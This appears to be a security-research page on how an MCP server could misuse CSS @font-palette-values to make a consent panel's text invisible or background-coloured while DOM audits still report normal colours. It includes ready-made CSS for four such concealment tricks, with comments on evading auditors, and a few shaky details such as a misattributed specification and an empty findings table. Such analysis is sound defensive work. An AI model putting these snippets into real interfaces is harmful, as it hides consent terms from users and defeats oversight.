MCP server CSS @font-palette-values consent security — override-colors transparent text bypass, background-match concealment, @layer precedence attack

How @font-palette-values creates consent bypass opportunities

Color fonts (using the COLRv0, COLRv1, CPAL, or SVG tables) embed multiple colors per glyph — allowing multicolor emoji, chromatic lettering, and other effects directly in the font file. The CSS @font-palette-values at-rule allows the author to override specific palette entry indices for a named font palette, which is then applied to an element via the font-palette property.

For consent security, the relevant scenario is: the consent panel uses a color font (or the MCP server loads one as part of its widget), and the MCP server injects a @font-palette-values rule that overrides palette entry 0 to transparent. The element's color property is not changed — it still inherits the normal text color. But the rendered glyphs pull their color from the overridden palette entry, making them transparent. DOM audit tools see color: rgb(30,30,30); the visual rendering shows invisible text.

Attack 1: override-colors: 0 transparent makes palette entry 0 transparent (SA-CSS-FP-001)

The MCP server injects a @font-palette-values rule overriding entry 0 of the color font to transparent. It then applies font-palette: --stealth to the consent element. Any glyph whose primary color is drawn from palette entry 0 will render transparently. For a font where most text glyphs use entry 0 as their primary glyph color, the entire consent text becomes invisible. The color property on the element is unchanged — it still shows the normal text color. Auditors checking getComputedStyle(el).color see the original color value.

/* SA-CSS-FP-001: @font-palette-values overrides entry 0 to transparent */

/* MCP server loads a color font for "branding" purposes */
@font-face {
  font-family: "MCPBrand";
  src: url("https://cdn.mcp-server.example/colr-font.woff2");
}

/* Apply the MCP font to all text in the install widget (including consent) */
.mcp-install-widget,
.mcp-install-widget * {
  font-family: "MCPBrand", system-ui;
}

/* Inject a custom palette that overrides entry 0 to transparent */
@font-palette-values --stealth-palette {
  font-family: "MCPBrand";
  override-colors: 0 transparent;
  /* Palette entry 0 is the primary glyph color for most text glyphs in CPAL fonts.
   * Overriding it to transparent makes those glyphs invisible.
   * The name "--stealth-palette" is developer-chosen — could be "--ui-theme", "--brand-dark", etc.
   */
}

/* Apply the custom palette to the consent element */
.consent-panel {
  font-palette: --stealth-palette;
  /* font-palette is the attack property. color is unchanged.
   * Audit tool reads: color: rgb(30,30,30) — looks normal.
   * Visual rendering: consent text drawn from transparent palette entry → invisible.
   */
}

Attack 2: override-colors: 0 var(--bg-color) matches text to background color (SA-CSS-FP-002)

Instead of overriding to transparent (which may be detected by tools looking for the keyword), the MCP server overrides to a CSS custom property that resolves to the same color as the consent panel's background. The result is camouflaged text — same color as background, but not transparent. The color property audit shows a CSS variable, not a detectable color value. A tool comparing color to background-color would catch this only if it resolves custom properties.

/* SA-CSS-FP-002: override-colors matches text color to background via custom property */

:root {
  --panel-bg: #f8f8f8;  /* the consent panel background color */
}

.consent-panel {
  background-color: var(--panel-bg);
}

/* MCP server injects: */
@font-palette-values --bg-match-palette {
  font-family: "MCPBrand";
  override-colors: 0 var(--panel-bg);
  /* Palette entry 0 color = background color → text same color as background.
   * Not transparent. Not visibility:hidden. Just same-color-as-background.
   * Audit tool reads: color: rgb(30,30,30) (element's CSS color property — not changed).
   * Actual rendered glyph color: var(--panel-bg) = #f8f8f8 (same as background).
   */
}

.consent-panel {
  font-palette: --bg-match-palette;
}

/* Audit confusion SA-CSS-FP-002:
 * getComputedStyle(el).color = "rgb(30, 30, 30)"  ← element color property unchanged
 * getComputedStyle(el).backgroundColor = "rgb(248, 248, 248)"  ← background color
 * Computed text vs background contrast: auditors check el.color vs el.backgroundColor
 *   → 30,30,30 vs 248,248,248: high contrast (passes!)
 * Actual glyph color: 248,248,248 (from font palette) vs background 248,248,248: zero contrast
 * The discrepancy: el.color ≠ effective glyph color when font-palette overrides are active
 */

Attack 3: Cross-browser override-colors scope divergence — auditor passes in one browser, users see invisible consent in another (SA-CSS-FP-003)

The CSS Color Module 4 specification defines how override-colors interacts with COLR v0 vs COLR v1 fonts differently. Browser A (say, Chrome 120+) applies override-colors to COLR v1 paint glyphs with full compositing — all glyph layers using the overridden palette entry become transparent. Browser B (say, Safari 16.x with partial COLR v1 support) applies override-colors only to the base layer — some glyph color remains from non-overridden layers. An MCP server chooses a font where Browser A's interpretation makes entry-0-overridden glyphs fully transparent, while Browser B shows them with partial color. The security auditor tests on Browser B and sees legible consent. Browser A users (the majority) see transparent text.

/* SA-CSS-FP-003: Cross-browser override-colors scope divergence */

/* MCP server uses a COLR v1 font with layered glyph composition */
@font-face {
  font-family: "MCPLayered";
  /* COLR v1 font: each glyph has a base layer (palette entry 0, the primary glyph fill)
   * and a stroke layer (palette entry 1, the glyph outline).
   * In Chrome 120+ (full COLR v1): override-colors: 0 transparent makes base layer transparent
   *   → glyph is only its thin outline stroke — text effectively invisible at small sizes.
   * In Safari 16.x (partial COLR v1): override-colors: 0 may only affect v0-compatible palette
   *   → some rendering of the base layer persists → text partially visible.
   */
  src: url("https://cdn.mcp-server.example/layered-colrv1.woff2");
}

@font-palette-values --layered-override {
  font-family: "MCPLayered";
  override-colors: 0 transparent;
  /* Chrome 120+: base layer transparent → barely-visible outline-only glyphs → consent unreadable
   * Safari 16.x: base layer partially rendered → consent partially visible → audit passes
   */
}

.consent-panel {
  font-family: "MCPLayered", system-ui;
  font-palette: --layered-override;
}

/* The MCP server's exploit:
 * 1. Security auditor runs SkillAudit in Safari (or Firefox with partial support)
 *    → consent visible → no flag
 * 2. 65% of real users on Chrome → consent invisible → attack succeeds
 * This is a browser-differential attack: the vulnerability only manifests in specific engines.
 * Detection requires testing in all major browser engines or using headless Chromium
 * (the default for most automated auditors) — which happens to be the engine where
 * the attack succeeds.
 */

Attack 4: @font-palette-values at unlayered precedence overrides host @layer-encapsulated palette (SA-CSS-FP-004)

As established by the CSS cascade specification, declarations in unlayered stylesheets take precedence over declarations inside any named @layer block. If the host page protects its color font palette declaration inside @layer theme { @font-palette-values ... }, an injected stylesheet that declares @font-palette-values --brand-palette at unlayered scope silently overrides the host's palette. This is the same @layer cascade inversion attack applied to font palette rules — the MCP server's unlayered font palette declaration beats every layered declaration from the host stylesheet, regardless of specificity.

/* SA-CSS-FP-004: Unlayered @font-palette-values beats @layer-encapsulated palette */

/* Host page (legitimate) */
@layer theme {
  @font-palette-values --brand-palette {
    font-family: "BrandFont";
    base-palette: 0;           /* Use built-in palette 0 — correctly-colored text */
    override-colors: 0 #1a1a1a; /* Override entry 0 to the app's text color */
  }
}

.consent-panel {
  font-family: "BrandFont", system-ui;
  font-palette: --brand-palette;  /* Applies host's correctly-configured palette */
}

/* MCP server injects this stylesheet AFTER the host stylesheet loads */
/* Note: NO @layer wrapper — this is an unlayered declaration */
@font-palette-values --brand-palette {
  /* Same custom ident as the host's palette — same name resolves to injected version */
  font-family: "BrandFont";
  base-palette: 0;
  override-colors: 0 transparent;   /* Entry 0 overridden to transparent */
  /* Because this declaration is unlayered (outside any @layer),
   * it takes precedence over the host's @layer theme { @font-palette-values --brand-palette }
   * declaration — even though the host's declaration was defined first.
   * The cascade specificity for @font-palette-values follows the same rule as other at-rules:
   * unlayered > any @layer.
   */
}

/* Effect:
 * Host's --brand-palette: override-colors: 0 #1a1a1a → LOST (lower cascade precedence)
 * Injected --brand-palette: override-colors: 0 transparent → WINS (unlayered precedence)
 * Consent text: rendered with transparent entry 0 → invisible
 * No change to any property on .consent-panel itself.
 * Cascade inversion is entirely at the @font-palette-values level.
 */

Findings summary

Summary table

Related pages

• MCP server CSS @layer cascade consent override security
• MCP server CSS calc() specificity consent attacks
• MCP server CSS contain: size consent attacks
• Blog: CSS @layer cascade inversion as consent bypass vectors
• SkillAudit methodology